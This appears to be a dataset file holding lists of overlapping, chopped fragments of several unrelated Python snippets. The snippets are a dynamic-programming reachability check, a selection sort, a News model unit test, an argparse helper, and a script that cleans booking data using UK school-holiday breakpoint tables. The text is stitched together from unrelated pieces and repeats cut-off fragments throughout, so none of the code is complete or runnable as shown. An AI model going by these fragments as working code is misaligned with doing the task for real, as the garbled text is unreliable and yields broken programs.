dp[ni] = dp[ni] or", "dp[ni] = dp[ni] or dp[ni-D] # output print(\"Yes\" if dp[-1]", "D: dp[ni] = dp[ni] or dp[ni-D] # output print(\"Yes\" if", "ni in range(N+1): if ni == 0: dp[ni] = True", "input().split()) Ds = [*map(int, input().split())] # compute dp = [False]", "for ni in range(N+1): if ni == 0: dp[ni] =", "if ni >= D: dp[ni] = dp[ni] or dp[ni-D] #", "for D in Ds: if ni >= D: dp[ni] =", "D in Ds: if ni >= D: dp[ni] = dp[ni]", "Ds = [*map(int, input().split())] # compute dp = [False] *", "ni == 0: dp[ni] = True for D in Ds:" ]
[ "array=list(map(int,input().split())) i=0 count=[] counter=0 while i<len(array): min=i start=i+1 while(start<len(array)): if", "min=start start+=1 if i!=min: array[i],array[min]=array[min],array[i] count.append(i) count.append(min) counter+=1 i+=1 print(counter)", "sorting n=int(input()) array=list(map(int,input().split())) i=0 count=[] counter=0 while i<len(array): min=i start=i+1", "array[start]<array[min]: min=start start+=1 if i!=min: array[i],array[min]=array[min],array[i] count.append(i) count.append(min) counter+=1 i+=1", "count.append(min) counter+=1 i+=1 print(counter) for i in range(0,len(count)): print(count[i],end=\" \")", "count.append(i) count.append(min) counter+=1 i+=1 print(counter) for i in range(0,len(count)): print(count[i],end=\"", "n=int(input()) array=list(map(int,input().split())) i=0 count=[] counter=0 while i<len(array): min=i start=i+1 while(start<len(array)):", "array[i],array[min]=array[min],array[i] count.append(i) count.append(min) counter+=1 i+=1 print(counter) for i in range(0,len(count)):", "i!=min: array[i],array[min]=array[min],array[i] count.append(i) count.append(min) counter+=1 i+=1 print(counter) for i in", "if array[start]<array[min]: min=start start+=1 if i!=min: array[i],array[min]=array[min],array[i] count.append(i) count.append(min) counter+=1", "start=i+1 while(start<len(array)): if array[start]<array[min]: min=start start+=1 if i!=min: array[i],array[min]=array[min],array[i] count.append(i)", "count=[] counter=0 while i<len(array): min=i start=i+1 while(start<len(array)): if array[start]<array[min]: min=start", "# sorting n=int(input()) array=list(map(int,input().split())) i=0 count=[] counter=0 while i<len(array): min=i", "min=i start=i+1 while(start<len(array)): if array[start]<array[min]: min=start start+=1 if i!=min: array[i],array[min]=array[min],array[i]", "if i!=min: array[i],array[min]=array[min],array[i] count.append(i) count.append(min) counter+=1 i+=1 print(counter) for i", "start+=1 if i!=min: array[i],array[min]=array[min],array[i] count.append(i) count.append(min) counter+=1 i+=1 print(counter) for", "while(start<len(array)): if array[start]<array[min]: min=start start+=1 if i!=min: array[i],array[min]=array[min],array[i] count.append(i) count.append(min)", "while i<len(array): min=i start=i+1 while(start<len(array)): if array[start]<array[min]: min=start start+=1 if", "counter=0 while i<len(array): min=i start=i+1 while(start<len(array)): if array[start]<array[min]: min=start start+=1", "i=0 count=[] counter=0 while i<len(array): min=i start=i+1 while(start<len(array)): if array[start]<array[min]:", "i<len(array): min=i start=i+1 while(start<len(array)): if array[start]<array[min]: min=start start+=1 if i!=min:" ]
[ "run before every Test ''' self.new_news = News('abc-news','ABC NEWS','Your trusted", "class NewsTest(unittest.TestCase): ''' Test Class to test the behaviour of", "self.assertEqual(self.new_news.description,'Your trusted source for breaking news, analysis, exclusive interviews, headlines,", "import unittest from app.models import News # News = news.News", "will run before every Test ''' self.new_news = News('abc-news','ABC NEWS','Your", "''' Set up method that will run before every Test", "test_instance(self): self.assertTrue(isinstance(self.new_news,News)) def test_init(self): self.assertEqual(self.new_news.id,'abc-news') self.assertEqual(self.new_news.name,'ABC NEWS') self.assertEqual(self.new_news.description,'Your trusted source", "self.new_news = News('abc-news','ABC NEWS','Your trusted source for breaking news, analysis,", "def setUp(self): ''' Set up method that will run before", "and videos at ABCNews.com.','http://www.abc.net.au/news','business','au') def test_instance(self): self.assertTrue(isinstance(self.new_news,News)) def test_init(self): self.assertEqual(self.new_news.id,'abc-news')", "unittest from app.models import News # News = news.News class", "Test Class to test the behaviour of the Movie class", "''' def setUp(self): ''' Set up method that will run", "the behaviour of the Movie class ''' def setUp(self): '''", "every Test ''' self.new_news = News('abc-news','ABC NEWS','Your trusted source for", "NEWS') self.assertEqual(self.new_news.description,'Your trusted source for breaking news, analysis, exclusive interviews,", "to test the behaviour of the Movie class ''' def", "News('abc-news','ABC NEWS','Your trusted source for breaking news, analysis, exclusive interviews,", "at ABCNews.com.') self.assertEqual(self.new_news.url,'http://www.abc.net.au/news') self.assertEqual(self.new_news.country,'au') # if __name__ == '__main__': #", "for breaking news, analysis, exclusive interviews, headlines, and videos at", "test_init(self): self.assertEqual(self.new_news.id,'abc-news') self.assertEqual(self.new_news.name,'ABC NEWS') self.assertEqual(self.new_news.description,'Your trusted source for breaking news,", "interviews, headlines, and videos at ABCNews.com.','http://www.abc.net.au/news','business','au') def test_instance(self): self.assertTrue(isinstance(self.new_news,News)) def", "def test_instance(self): self.assertTrue(isinstance(self.new_news,News)) def test_init(self): self.assertEqual(self.new_news.id,'abc-news') self.assertEqual(self.new_news.name,'ABC NEWS') self.assertEqual(self.new_news.description,'Your trusted", "ABCNews.com.','http://www.abc.net.au/news','business','au') def test_instance(self): self.assertTrue(isinstance(self.new_news,News)) def test_init(self): self.assertEqual(self.new_news.id,'abc-news') self.assertEqual(self.new_news.name,'ABC NEWS') self.assertEqual(self.new_news.description,'Your", "# News = news.News class NewsTest(unittest.TestCase): ''' Test Class to", "behaviour of the Movie class ''' def setUp(self): ''' Set", "breaking news, analysis, exclusive interviews, headlines, and videos at ABCNews.com.')", "from app.models import News # News = news.News class NewsTest(unittest.TestCase):", "analysis, exclusive interviews, headlines, and videos at ABCNews.com.','http://www.abc.net.au/news','business','au') def test_instance(self):", "self.assertEqual(self.new_news.id,'abc-news') self.assertEqual(self.new_news.name,'ABC NEWS') self.assertEqual(self.new_news.description,'Your trusted source for breaking news, analysis,", "''' Test Class to test the behaviour of the Movie", "import News # News = news.News class NewsTest(unittest.TestCase): ''' Test", "News = news.News class NewsTest(unittest.TestCase): ''' Test Class to test", "trusted source for breaking news, analysis, exclusive interviews, headlines, and", "setUp(self): ''' Set up method that will run before every", "class ''' def setUp(self): ''' Set up method that will", "headlines, and videos at ABCNews.com.') self.assertEqual(self.new_news.url,'http://www.abc.net.au/news') self.assertEqual(self.new_news.country,'au') # if __name__", "''' self.new_news = News('abc-news','ABC NEWS','Your trusted source for breaking news,", "NewsTest(unittest.TestCase): ''' Test Class to test the behaviour of the", "the Movie class ''' def setUp(self): ''' Set up method", "Class to test the behaviour of the Movie class '''", "def test_init(self): self.assertEqual(self.new_news.id,'abc-news') self.assertEqual(self.new_news.name,'ABC NEWS') self.assertEqual(self.new_news.description,'Your trusted source for breaking", "test the behaviour of the Movie class ''' def setUp(self):", "at ABCNews.com.','http://www.abc.net.au/news','business','au') def test_instance(self): self.assertTrue(isinstance(self.new_news,News)) def test_init(self): self.assertEqual(self.new_news.id,'abc-news') self.assertEqual(self.new_news.name,'ABC NEWS')", "breaking news, analysis, exclusive interviews, headlines, and videos at ABCNews.com.','http://www.abc.net.au/news','business','au')", "self.assertEqual(self.new_news.name,'ABC NEWS') self.assertEqual(self.new_news.description,'Your trusted source for breaking news, analysis, exclusive", "Test ''' self.new_news = News('abc-news','ABC NEWS','Your trusted source for breaking", "news.News class NewsTest(unittest.TestCase): ''' Test Class to test the behaviour", "Movie class ''' def setUp(self): ''' Set up method that", "exclusive interviews, headlines, and videos at ABCNews.com.','http://www.abc.net.au/news','business','au') def test_instance(self): self.assertTrue(isinstance(self.new_news,News))", "= News('abc-news','ABC NEWS','Your trusted source for breaking news, analysis, exclusive", "exclusive interviews, headlines, and videos at ABCNews.com.') self.assertEqual(self.new_news.url,'http://www.abc.net.au/news') self.assertEqual(self.new_news.country,'au') #", "of the Movie class ''' def setUp(self): ''' Set up", "before every Test ''' self.new_news = News('abc-news','ABC NEWS','Your trusted source", "videos at ABCNews.com.','http://www.abc.net.au/news','business','au') def test_instance(self): self.assertTrue(isinstance(self.new_news,News)) def test_init(self): self.assertEqual(self.new_news.id,'abc-news') self.assertEqual(self.new_news.name,'ABC", "interviews, headlines, and videos at ABCNews.com.') self.assertEqual(self.new_news.url,'http://www.abc.net.au/news') self.assertEqual(self.new_news.country,'au') # if", "that will run before every Test ''' self.new_news = News('abc-news','ABC", "ABCNews.com.') self.assertEqual(self.new_news.url,'http://www.abc.net.au/news') self.assertEqual(self.new_news.country,'au') # if __name__ == '__main__': # unittest.main()", "analysis, exclusive interviews, headlines, and videos at ABCNews.com.') self.assertEqual(self.new_news.url,'http://www.abc.net.au/news') self.assertEqual(self.new_news.country,'au')", "videos at ABCNews.com.') self.assertEqual(self.new_news.url,'http://www.abc.net.au/news') self.assertEqual(self.new_news.country,'au') # if __name__ == '__main__':", "Set up method that will run before every Test '''", "self.assertTrue(isinstance(self.new_news,News)) def test_init(self): self.assertEqual(self.new_news.id,'abc-news') self.assertEqual(self.new_news.name,'ABC NEWS') self.assertEqual(self.new_news.description,'Your trusted source for", "= news.News class NewsTest(unittest.TestCase): ''' Test Class to test the", "and videos at ABCNews.com.') self.assertEqual(self.new_news.url,'http://www.abc.net.au/news') self.assertEqual(self.new_news.country,'au') # if __name__ ==", "News # News = news.News class NewsTest(unittest.TestCase): ''' Test Class", "up method that will run before every Test ''' self.new_news", "method that will run before every Test ''' self.new_news =", "news, analysis, exclusive interviews, headlines, and videos at ABCNews.com.','http://www.abc.net.au/news','business','au') def", "app.models import News # News = news.News class NewsTest(unittest.TestCase): '''", "news, analysis, exclusive interviews, headlines, and videos at ABCNews.com.') self.assertEqual(self.new_news.url,'http://www.abc.net.au/news')", "headlines, and videos at ABCNews.com.','http://www.abc.net.au/news','business','au') def test_instance(self): self.assertTrue(isinstance(self.new_news,News)) def test_init(self):", "source for breaking news, analysis, exclusive interviews, headlines, and videos", "NEWS','Your trusted source for breaking news, analysis, exclusive interviews, headlines," ]
[ "type=str, default=\"\") parser.add_argument('--retrieve', type=str, default=\"focus\") args = parser.parse_args() print args.__dict__[args.retrieve]", "parser.add_argument('--focus', type=str, default=\"\") parser.add_argument('--version', type=str, default=\"\") parser.add_argument('--retrieve', type=str, default=\"focus\") args", "type=str, default=\"\") parser.add_argument('--version', type=str, default=\"\") parser.add_argument('--retrieve', type=str, default=\"focus\") args =", "for test-me-please phrases parser.add_argument('--focus', type=str, default=\"\") parser.add_argument('--version', type=str, default=\"\") parser.add_argument('--retrieve',", "parser = argparse.ArgumentParser() parser.add_argument('ghcomment', type=str) # this is for test-me-please", "this is for test-me-please phrases parser.add_argument('--focus', type=str, default=\"\") parser.add_argument('--version', type=str,", "phrases parser.add_argument('--focus', type=str, default=\"\") parser.add_argument('--version', type=str, default=\"\") parser.add_argument('--retrieve', type=str, default=\"focus\")", "import argparse parser = argparse.ArgumentParser() parser.add_argument('ghcomment', type=str) # this is", "test-me-please phrases parser.add_argument('--focus', type=str, default=\"\") parser.add_argument('--version', type=str, default=\"\") parser.add_argument('--retrieve', type=str,", "default=\"\") parser.add_argument('--version', type=str, default=\"\") parser.add_argument('--retrieve', type=str, default=\"focus\") args = parser.parse_args()", "argparse parser = argparse.ArgumentParser() parser.add_argument('ghcomment', type=str) # this is for", "is for test-me-please phrases parser.add_argument('--focus', type=str, default=\"\") parser.add_argument('--version', type=str, default=\"\")", "argparse.ArgumentParser() parser.add_argument('ghcomment', type=str) # this is for test-me-please phrases parser.add_argument('--focus',", "= argparse.ArgumentParser() parser.add_argument('ghcomment', type=str) # this is for test-me-please phrases", "# this is for test-me-please phrases parser.add_argument('--focus', type=str, default=\"\") parser.add_argument('--version',", "type=str) # this is for test-me-please phrases parser.add_argument('--focus', type=str, default=\"\")", "parser.add_argument('ghcomment', type=str) # this is for test-me-please phrases parser.add_argument('--focus', type=str,", "parser.add_argument('--version', type=str, default=\"\") parser.add_argument('--retrieve', type=str, default=\"focus\") args = parser.parse_args() print", "<gh_stars>1-10 import argparse parser = argparse.ArgumentParser() parser.add_argument('ghcomment', type=str) # this" ]
[ "6, \"Winter\"), (2, 17, \"Half Terms\"), (2, 24, \"Spring and", "NA with most populars: %s\", most_popular_values) df = df.fillna(most_popular_values) df[INT_COLS]", "if _m > dt.month or (_m == dt.month and _d", "\"Early Summer\"), (7, 19, \"Summer holidays\"), (8, 30, \"Early Autumn\"),", "\"\"\" This script cleans and prepares the data set of", "12, \"Half Terms\"), (2, 19, \"Spring and Autumn\"), (4, 2,", "'bookdate_scoreboard', 'book_year', 'hh_gross', 'hh_net', 'ho', # HH specific 'holidayprice', #", "= df.fillna(averages) logging.info(u\"Filling NA with zeros: %s\", zeros) df =", "(9, 14, \"Spring and Autumn\"), (10, 26, \"Half Terms\"), (11,", "NA breakpoints: %s\", df[pd.isnull(df.breakpoint)].shape[0]) return df.drop(u'zone_name', axis=1) def main(): check_data(args.input_csv,", "u'breakpoint', u'avg_spend_per_head'] DATE_COLS = [u'bookdate', u'sdate', u\"fdate\"] FLOAT_COLS = [u'avg_spend_per_head',", "logging import sys import pandas as pd from preprocessing.common import", "_b in matcher: if _m > dt.month or (_m ==", "u'category' 'drivedistance', # correlates with drivetime ] NOT_NA_COLS = [u'bookcode',", "Autumn\"), (4, 3, \"Easter\"), (4, 17, \"Spring and Autumn\"), (5,", "u\"fdate\"] FLOAT_COLS = [u'avg_spend_per_head', u'drivetime'] INT_COLS = [u'adults', u'babies', u'children',", "Autumn\"), (10, 27, \"Half Terms\"), (11, 3, \"Winter\"), (12, 22,", "= [u'avg_spend_per_head', u'drivetime'] INT_COLS = [u'adults', u'babies', u'children', u'pets'] CATEGORICAL_COLS", "(12, 23, \"Christmas\"), (12, 30, \"New Year\"), ], 2007: [", "(2, 23, \"Spring and Autumn\"), (3, 22, \"Easter\"), (4, 19,", "and Autumn\"), (10, 26, \"Half Terms\"), (11, 2, \"Winter\"), (12,", "(5, 31, \"Early Summer\"), (7, 19, \"Summer holidays\"), (8, 30,", "'drivedistance', # correlates with drivetime ] NOT_NA_COLS = [u'bookcode', u'code',", "and Autumn\"), (4, 5, \"Easter\"), (4, 19, \"Spring and Autumn\"),", "df[pd.isnull(df.breakpoint)].shape[0]) return df.drop(u'zone_name', axis=1) def main(): check_data(args.input_csv, args.input_csv_delimiter) df =", "(10, 30, \"Winter\"), (12, 18, \"Christmas\"), ], 2005: [ (1,", "\"Easter\"), (4, 22, \"Spring and Autumn\"), (5, 27, \"SBH\"), (6,", "original_columns = df.columns logging.info(u\"DF initial shape: %s\", df.shape) df =", "to: %s\", args.output_csv) df.to_csv(args.output_csv, index=False) if __name__ == '__main__': parser", "(2, 25, \"Spring and Autumn\"), (4, 8, \"Easter\"), (4, 22,", "Year\"), (1, 7, \"Winter\"), (2, 18, \"Half Terms\"), (2, 25,", "input file's delimiter. Default: ';'\") parser.add_argument('-o', default=\"bookings.csv\", dest=\"output_csv\", help=u'Path to", "'region', 'sleeps', 'stars', 'proppostcode', # can be taken from property", "\"Early Summer\"), (7, 22, \"Summer holidays\"), (9, 2, \"Early Autumn\"),", "(7, 17, \"Summer holidays\"), (8, 28, \"Early Autumn\"), (9, 11,", "(12, 29, \"New Year\"), ], 2008: [ (1, 1, \"New", "[ (1, 1, \"New Year\"), (1, 6, \"Winter\"), (2, 17,", "df.drop(COLS_TO_DROP, axis=1) df = canonize_datetime(df, DATE_COLS) df = fill_missed_breakpoints(df) df", "(12, 22, \"Christmas\"), (12, 29, \"New Year\"), ], 2008: [", "and prepares the data set of bookings for the future", "= argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('-i', required=True, dest=\"input_csv\", help=u'Path to a csv", "7, \"Easter\"), (4, 21, \"Spring and Autumn\"), (5, 26, \"SBH\"),", "(5, 22, \"SBH\"), (5, 29, \"Early Summer\"), (7, 17, \"Summer", "with bookings') parser.add_argument('--id', default=\";\", dest=\"input_csv_delimiter\", help=u\"The input file's delimiter. Default:", "an output file. Default: booking.csv') parser.add_argument(\"--log-level\", default='INFO', dest=\"log_level\", choices=['DEBUG', 'INFO',", "pair of u'sourcedesc', u'category' 'drivedistance', # correlates with drivetime ]", "df[pd.isnull(df.breakpoint)].shape[0]) df.breakpoint[pd.isnull(df.breakpoint)] = df[pd.isnull(df.breakpoint)].sdate.apply(get_breakpoint) logging.info(u\"Left NA breakpoints: %s\", df[pd.isnull(df.breakpoint)].shape[0]) return", "breakpoint = _b return breakpoint def fine_tune_df(df): logging.info(u\"DF shape before", "df = df[pd.notnull(df.breakpoint) | pd.notnull(df.zone_name)] logging.info(u\"Bookings having breakpoint or zone_name:", "Year\"), ], 2008: [ (1, 1, \"New Year\"), (1, 5,", "Terms\"), (2, 24, \"Spring and Autumn\"), (4, 7, \"Easter\"), (4,", "pd.isnull(df.values).any(): logging.error(u\"NA values left in df\") return df def fill_missed_breakpoints(df):", "%s\", df.shape) if pd.isnull(df.values).any(): logging.error(u\"NA values left in df\") return", "20, \"Summer holidays\"), (8, 31, \"Early Autumn\"), (9, 14, \"Spring", "(4, 5, \"Easter\"), (4, 19, \"Spring and Autumn\"), (5, 24,", "\"Winter\"), (12, 20, \"Christmas\"), ], } COLS_TO_DROP = [ 'pname',", "missing breakpoints: %s\", df[pd.isnull(df.breakpoint)].shape[0]) df.breakpoint[pd.isnull(df.breakpoint)] = df[pd.isnull(df.breakpoint)].sdate.apply(get_breakpoint) logging.info(u\"Left NA breakpoints:", "{col: df[col].dropna().mean() for col in FLOAT_COLS} zeros = {col: 0", "= [u'bookcode', u'code', u'propcode', u'year', u'breakpoint', u'avg_spend_per_head'] DATE_COLS = [u'bookdate',", "file's delimiter. Default: ';'\") parser.add_argument('-o', default=\"bookings.csv\", dest=\"output_csv\", help=u'Path to an", "(10, 29, \"Winter\"), (12, 17, \"Christmas\"), (12, 31, \"New Year\"),", "Terms\"), (11, 1, \"Winter\"), (12, 20, \"Christmas\"), (12, 27, \"New", "[u'bookcode', u'code', u'propcode', u'year', u'breakpoint', u'avg_spend_per_head'] DATE_COLS = [u'bookdate', u'sdate',", "processed_columns = set(df.columns).union(COLS_TO_DROP + [u'zone_name']) check_processed_columns(processed_columns, original_columns) logging.info(u\"Dumping data to:", "\"Spring and Autumn\"), (4, 6, \"Easter\"), (4, 20, \"Spring and", "\"New Year\"), ], 2003: [ (1, 1, \"New Year\"), (1,", "\"Early Autumn\"), (9, 11, \"Spring and Autumn\"), (10, 23, \"Half", "or zone_name: %s\", df.shape[0]) logging.info(u\"Filling missing breakpoints: %s\", df[pd.isnull(df.breakpoint)].shape[0]) df.breakpoint[pd.isnull(df.breakpoint)]", "'INFO', 'WARNINGS', 'ERROR'], help=u\"Logging level\") args = parser.parse_args() logging.basicConfig( format='%(asctime)s", "Autumn\"), (9, 14, \"Spring and Autumn\"), (10, 26, \"Half Terms\"),", "\"Half Terms\"), (11, 1, \"Winter\"), (12, 20, \"Christmas\"), ], }", "# can be taken from property 'bookdate_scoreboard', 'book_year', 'hh_gross', 'hh_net',", "[ 'pname', 'region', 'sleeps', 'stars', 'proppostcode', # can be taken", "(4, 19, \"Spring and Autumn\"), (5, 24, \"SBH\"), (5, 31,", "parser.add_argument('-i', required=True, dest=\"input_csv\", help=u'Path to a csv file with bookings')", "holidays\"), (8, 30, \"Early Autumn\"), (9, 13, \"Spring and Autumn\"),", "Autumn\"), (10, 22, \"Half Terms\"), (10, 29, \"Winter\"), (12, 17,", "(7, 22, \"Summer holidays\"), (9, 2, \"Early Autumn\"), (9, 16,", "# correlates with drivetime ] NOT_NA_COLS = [u'bookcode', u'code', u'propcode',", "21, \"Spring and Autumn\"), (5, 26, \"SBH\"), (6, 2, \"Early", "check_processed_columns, check_data OLD_BREAKPOINT_MATCHER = { 2001: [ (1, 1, \"New", "= {col: df[col].value_counts().index[0] for col in CATEGORICAL_COLS} logging.info(u\"Filling NA with", "28, \"Half Terms\"), (11, 4, \"Winter\"), (12, 23, \"Christmas\"), (12,", "df[pd.notnull(df.breakpoint) | pd.notnull(df.zone_name)] logging.info(u\"Bookings having breakpoint or zone_name: %s\", df.shape[0])", "20, \"Spring and Autumn\"), (5, 25, \"SBH\"), (6, 1, \"Early", "\"Spring and Autumn\"), (3, 22, \"Easter\"), (4, 19, \"Spring and", "1, \"Winter\"), (2, 12, \"Half Terms\"), (2, 19, \"Spring and", "(7, 21, \"Summer holidays\"), (9, 1, \"Early Autumn\"), (9, 15,", "(5, 26, \"SBH\"), (6, 2, \"Early Summer\"), (7, 21, \"Summer", "3, \"Early Summer\"), (7, 22, \"Summer holidays\"), (9, 2, \"Early", "Autumn\"), (9, 15, \"Spring and Autumn\"), (10, 27, \"Half Terms\"),", "(9, 2, \"Early Autumn\"), (9, 16, \"Spring and Autumn\"), (10,", "Year\"), ], 2004: [ (1, 1, \"New Year\"), (1, 3,", "help=u'Path to a csv file with bookings') parser.add_argument('--id', default=\";\", dest=\"input_csv_delimiter\",", "], } COLS_TO_DROP = [ 'pname', 'region', 'sleeps', 'stars', 'proppostcode',", "\"New Year\"), (1, 4, \"Winter\"), (2, 15, \"Half Terms\"), (2,", "usage \"\"\" import argparse import logging import sys import pandas", "= df.dropna(subset=NOT_NA_COLS) logging.info(u\"After cleaning NA: %s\", df.shape) if pd.isnull(df.values).any(): logging.error(u\"NA", "0 for col in INT_COLS} most_popular_values = {col: df[col].value_counts().index[0] for", "(2, 23, \"Spring and Autumn\"), (4, 6, \"Easter\"), (4, 20,", "\"Half Terms\"), (2, 25, \"Spring and Autumn\"), (4, 8, \"Easter\"),", "(8, 31, \"Early Autumn\"), (9, 14, \"Spring and Autumn\"), (10,", "'book_year', 'hh_gross', 'hh_net', 'ho', # HH specific 'holidayprice', # correlates", "df[pd.isnull(df.breakpoint)].sdate.apply(get_breakpoint) logging.info(u\"Left NA breakpoints: %s\", df[pd.isnull(df.breakpoint)].shape[0]) return df.drop(u'zone_name', axis=1) def", "# no need 'sourcecostid', # is a pair of u'sourcedesc',", "with zeros: %s\", zeros) df = df.fillna(zeros) logging.info(u\"Filling NA with", "\"Spring and Autumn\"), (5, 25, \"SBH\"), (6, 1, \"Early Summer\"),", "def get_breakpoint(dt): breakpoint = None matcher = OLD_BREAKPOINT_MATCHER.get(dt.year, []) for", "get_breakpoint(dt): breakpoint = None matcher = OLD_BREAKPOINT_MATCHER.get(dt.year, []) for _m,", "FLOAT_COLS} zeros = {col: 0 for col in INT_COLS} most_popular_values", "df = df.drop(COLS_TO_DROP, axis=1) df = canonize_datetime(df, DATE_COLS) df =", "(5, 25, \"SBH\"), (6, 1, \"Early Summer\"), (7, 20, \"Summer", "2006: [ (1, 1, \"New Year\"), (1, 7, \"Winter\"), (2,", "11, \"Spring and Autumn\"), (10, 23, \"Half Terms\"), (10, 30,", "parser.add_argument('--id', default=\";\", dest=\"input_csv_delimiter\", help=u\"The input file's delimiter. Default: ';'\") parser.add_argument('-o',", "Terms\"), (2, 19, \"Spring and Autumn\"), (4, 2, \"Easter\"), (4,", "(5, 24, \"SBH\"), (5, 31, \"Early Summer\"), (7, 19, \"Summer", "bookings') parser.add_argument('--id', default=\";\", dest=\"input_csv_delimiter\", help=u\"The input file's delimiter. Default: ';'\")", "[ (1, 1, \"New Year\"), (1, 3, \"Winter\"), (2, 14,", "(8, 27, \"Early Autumn\"), (9, 10, \"Spring and Autumn\"), (10,", "args.input_csv_delimiter) original_columns = df.columns logging.info(u\"DF initial shape: %s\", df.shape) df", "= [u'adults', u'babies', u'children', u'pets'] CATEGORICAL_COLS = [u'sourcedesc', u'category'] def", "\"Half Terms\"), (2, 21, \"Spring and Autumn\"), (4, 3, \"Easter\"),", "[ (1, 1, \"New Year\"), (1, 7, \"Winter\"), (2, 18,", "INT_COLS = [u'adults', u'babies', u'children', u'pets'] CATEGORICAL_COLS = [u'sourcedesc', u'category']", "29, \"New Year\"), ], 2002: [ (1, 1, \"New Year\"),", "(8, 28, \"Early Autumn\"), (9, 11, \"Spring and Autumn\"), (10,", "cleaning NA: %s\", df.shape) if pd.isnull(df.values).any(): logging.error(u\"NA values left in", "(11, 3, \"Winter\"), (12, 22, \"Christmas\"), (12, 29, \"New Year\"),", "17, \"Spring and Autumn\"), (5, 22, \"SBH\"), (5, 29, \"Early", "28, \"Early Autumn\"), (9, 11, \"Spring and Autumn\"), (10, 23,", "\"Easter\"), (4, 21, \"Spring and Autumn\"), (5, 26, \"SBH\"), (6,", "dest=\"input_csv\", help=u'Path to a csv file with bookings') parser.add_argument('--id', default=\";\",", "%s\", most_popular_values) df = df.fillna(most_popular_values) df[INT_COLS] = df[INT_COLS].astype(int) logging.info(u\"Before cleaning", "df = fine_tune_df(df) processed_columns = set(df.columns).union(COLS_TO_DROP + [u'zone_name']) check_processed_columns(processed_columns, original_columns)", "23, \"Christmas\"), (12, 30, \"New Year\"), ], 2007: [ (1,", "\"Spring and Autumn\"), (5, 24, \"SBH\"), (5, 31, \"Early Summer\"),", "u'babies', u'children', u'pets'] CATEGORICAL_COLS = [u'sourcedesc', u'category'] def get_breakpoint(dt): breakpoint", "before fine tuning: %s\", df.shape) averages = {col: df[col].dropna().mean() for", "df.dropna(subset=NOT_NA_COLS) logging.info(u\"After cleaning NA: %s\", df.shape) if pd.isnull(df.values).any(): logging.error(u\"NA values", "Year\"), ], 2003: [ (1, 1, \"New Year\"), (1, 4,", "df.shape[0]) logging.info(u\"Filling missing breakpoints: %s\", df[pd.isnull(df.breakpoint)].shape[0]) df.breakpoint[pd.isnull(df.breakpoint)] = df[pd.isnull(df.breakpoint)].sdate.apply(get_breakpoint) logging.info(u\"Left", "\"SBH\"), (6, 3, \"Early Summer\"), (7, 22, \"Summer holidays\"), (9,", "a csv file with bookings') parser.add_argument('--id', default=\";\", dest=\"input_csv_delimiter\", help=u\"The input", "(3, 22, \"Easter\"), (4, 19, \"Spring and Autumn\"), (5, 24,", "avg_spend_per_head 'bighouse', 'burghisland', 'boveycastle', # no need 'sourcecostid', # is", "%s\", df[pd.isnull(df.breakpoint)].shape[0]) return df.drop(u'zone_name', axis=1) def main(): check_data(args.input_csv, args.input_csv_delimiter) df", "Year\"), (1, 4, \"Winter\"), (2, 15, \"Half Terms\"), (2, 22,", "(9, 13, \"Spring and Autumn\"), (10, 25, \"Half Terms\"), (11,", "df[col].dropna().mean() for col in FLOAT_COLS} zeros = {col: 0 for", "\"Spring and Autumn\"), (5, 26, \"SBH\"), (6, 2, \"Early Summer\"),", "= [u'bookdate', u'sdate', u\"fdate\"] FLOAT_COLS = [u'avg_spend_per_head', u'drivetime'] INT_COLS =", "= fill_missed_breakpoints(df) df = fine_tune_df(df) processed_columns = set(df.columns).union(COLS_TO_DROP + [u'zone_name'])", "choices=['DEBUG', 'INFO', 'WARNINGS', 'ERROR'], help=u\"Logging level\") args = parser.parse_args() logging.basicConfig(", "args.output_csv) df.to_csv(args.output_csv, index=False) if __name__ == '__main__': parser = argparse.ArgumentParser(description=__doc__,", "29, \"Winter\"), (12, 17, \"Christmas\"), (12, 31, \"New Year\"), ],", "Autumn\"), (4, 5, \"Easter\"), (4, 19, \"Spring and Autumn\"), (5,", "\"Half Terms\"), (11, 1, \"Winter\"), (12, 20, \"Christmas\"), (12, 27,", "dt.day): break breakpoint = _b return breakpoint def fine_tune_df(df): logging.info(u\"DF", "u'code', u'propcode', u'year', u'breakpoint', u'avg_spend_per_head'] DATE_COLS = [u'bookdate', u'sdate', u\"fdate\"]", "1, \"Early Autumn\"), (9, 15, \"Spring and Autumn\"), (10, 27,", "(12, 21, \"Christmas\"), (12, 28, \"New Year\"), ], 2003: [", "{col: df[col].value_counts().index[0] for col in CATEGORICAL_COLS} logging.info(u\"Filling NA with average:", "(12, 29, \"New Year\"), ], 2002: [ (1, 1, \"New", "\"Spring and Autumn\"), (10, 23, \"Half Terms\"), (10, 30, \"Winter\"),", "and Autumn\"), (5, 25, \"SBH\"), (6, 1, \"Early Summer\"), (7,", "\"Spring and Autumn\"), (5, 22, \"SBH\"), (5, 29, \"Early Summer\"),", "(4, 3, \"Easter\"), (4, 17, \"Spring and Autumn\"), (5, 22,", "20, \"Christmas\"), (12, 27, \"New Year\"), ], 2004: [ (1,", "\"New Year\"), ], 2008: [ (1, 1, \"New Year\"), (1,", "(5, 29, \"Early Summer\"), (7, 17, \"Summer holidays\"), (8, 28,", "Year\"), ], 2006: [ (1, 1, \"New Year\"), (1, 7,", "Autumn\"), (10, 25, \"Half Terms\"), (11, 1, \"Winter\"), (12, 20,", "22, \"Easter\"), (4, 19, \"Spring and Autumn\"), (5, 24, \"SBH\"),", "\"Early Summer\"), (7, 20, \"Summer holidays\"), (8, 31, \"Early Autumn\"),", "NA: %s\", df.shape) if pd.isnull(df.values).any(): logging.error(u\"NA values left in df\")", "breakpoints: %s\", df[pd.isnull(df.breakpoint)].shape[0]) return df.drop(u'zone_name', axis=1) def main(): check_data(args.input_csv, args.input_csv_delimiter)", "15, \"Spring and Autumn\"), (10, 27, \"Half Terms\"), (11, 3,", "future usage \"\"\" import argparse import logging import sys import", "_b return breakpoint def fine_tune_df(df): logging.info(u\"DF shape before fine tuning:", "| pd.notnull(df.zone_name)] logging.info(u\"Bookings having breakpoint or zone_name: %s\", df.shape[0]) logging.info(u\"Filling", "(10, 25, \"Half Terms\"), (11, 1, \"Winter\"), (12, 20, \"Christmas\"),", "1, \"New Year\"), (1, 4, \"Winter\"), (2, 15, \"Half Terms\"),", "Autumn\"), (5, 21, \"SBH\"), (5, 28, \"Early Summer\"), (7, 16,", "and Autumn\"), (4, 3, \"Easter\"), (4, 17, \"Spring and Autumn\"),", "22, \"SBH\"), (5, 29, \"Early Summer\"), (7, 17, \"Summer holidays\"),", "[ (1, 1, \"New Year\"), (1, 4, \"Winter\"), (2, 15,", "\"Summer holidays\"), (8, 31, \"Early Autumn\"), (9, 14, \"Spring and", "\"Winter\"), (2, 